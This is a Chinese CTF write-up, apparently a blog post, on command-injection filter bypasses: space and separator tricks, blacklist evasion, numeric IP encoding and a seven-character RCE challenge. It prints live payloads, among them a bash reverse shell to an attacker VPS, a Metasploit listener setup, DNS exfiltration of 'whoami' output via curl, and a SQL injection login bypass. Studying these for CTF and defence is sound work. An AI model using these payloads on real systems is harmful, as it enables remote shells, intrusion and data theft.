1. 程式人生 > >If you can take it, you can make it.

If you can take it, you can make it.

緣起lemon師傅在安全客裡發表的一篇文章,總結的很詳細,學到了很多姿勢。但是在此我還想畫蛇添足的做一些補充及解釋。補充一下命令執行的漏洞。

空格繞過

< 符號

淺談CTF中命令執行與繞過的小技巧

%09 符號需要php環境,這裡就不搭建啦,見諒)

$IFS$9 符號${IFS} 符號

淺談CTF中命令執行與繞過的小技巧

這裡解釋一下${IFS},$IFS,$IFS$9的區別,首先$IFS在linux下表示分隔符,然而我本地實驗卻會發生這種情況,這裡解釋一下,單純的cat$IFS2,bash直譯器會把整個IFS2當做變數名,所以導致輸不出來結果,然而如果加一個{}就固定了變數名,同理在後面加個$可以起到截斷的作用,但是為什麼要用$9呢,因為$9只是當前系統shell程序的第九個引數的持有者,它始終為空字串。

命令分隔符這裡介紹5種姿勢

%0a符號
換行符
%0d符號
回車符
;符號
在 shell 中,擔任”連續指令”功能的符號就是”分號”
&符號

淺談CTF中命令執行與繞過的小技巧

& 放在啟動引數後面表示設定此程序為後臺程序,預設情況下,程序是前臺程序,這時就把Shell給佔據了,我們無法進行其他操作,對於那些沒有互動的程序,很多時候,我們希望將其在後臺啟動,可以在啟動引數的時候加一個’&’實現這個目的。程序切換到後臺的時候,我們把它稱為job。切換到後臺時會輸出相關job資訊,這裡36210就是該程序的PID
|符號

淺談CTF中命令執行與繞過的小技巧

管道符左邊命令的輸出就會作為管道符右邊命令的輸入,所以左邊的輸出並不顯示

命令終止符

%00
%20#

(需要php環境,這裡就不搭建啦,見諒)

黑名單繞過

a=l;b=s;$a$b

淺談CTF中命令執行與繞過的小技巧

base64編碼

程式碼6

無回顯的命令執行

這裡第一步先用

username=0' union select 1,md5(1)#
password=1

繞過,就可以到命令執行介面然而嘗試一下發現沒有回顯這裡有3種方法

第一種是利用bash命令並在本地進行nc監聽結果查看回連日誌,然後就行

先在vps處用nc進行監聽

nc -l -p 8080 -vvv

然後在靶機命令執行處輸入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1

淺談CTF中命令執行與繞過的小技巧淺談CTF中命令執行與繞過的小技巧

第二種是msf反向回連

同樣vps用msf監聽

vps的msf監聽:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然後在靶機命令執行處輸入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1

即可getflag

第三種是利用DNS管道解析

這裡提供一個線上網址,可以直接進行給一個利用網址:admin.dnslog.link註冊一個賬號後會分配一個子域名可以利用

|curl `whoami`.xxxx.xxx(子域名)

這樣就會在利用網址看到反彈結果。(這裡也不演示了,賬號忘記了。。。)這裡解釋一下\whoami\因為`反引號在linux下是執行命令的特殊符號,原理請見:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ

七個字的命令執行

這題是p總在小密圈發表的一篇文章,當時沒有做出來,這題是利用重新命名檔案繞過的,所以可以這樣進行呼叫,因為限制了命令的長度,所以無法直接構造,只能通過檔案構造

這裡先介紹一下小技巧,linux下建立檔案的命令可以用1>1建立檔名為1的空檔案

淺談CTF中命令執行與繞過的小技巧

進一步fuzz發現a>1居然也可以,雖然會報錯,但是還是可以建立空檔案。

淺談CTF中命令執行與繞過的小技巧

ls>1可以直接把把ls的內容匯入一個檔案中,但是會預設追加\n。有了這個基礎,我們再來看這道題

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

簡單的程式碼,可以利用

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

這裡注意.不能作為檔名的開頭,因為linux下.是隱藏檔案的開頭,ls列不出來

然而這裡還有個問題,就是ls下的檔名是按照字母順序排序的,所以需要基於時間排序

ls -t>a

網路地址轉化為數字地址

網路地址有另外一種表示形式,就是數字地址比如127.0.0.1可以轉化為2130706433

可以直接訪問

http://2130706433

或者

http://0x7F000001

GCTF RCE

這題過濾了很多東西,下面說一下比較重要的

||&|;|%{}| |''|.|

這裡給個payload

%0acat%09
%0Acat$IFS$9
%0acat<

用%0a繞過curl然後在從我前面繞過空格的payload中隨便挑一個沒有過濾的

最後總結一下,做命令執行的題首要的是尋找命令執行的點,然後去猜測他的後臺語句是如何構造的,過濾了哪些,還剩哪些可以用,這樣一個一個排除,最後大都能找出payload最後文末順便附上本菜雞的部落格:http://pupiles.com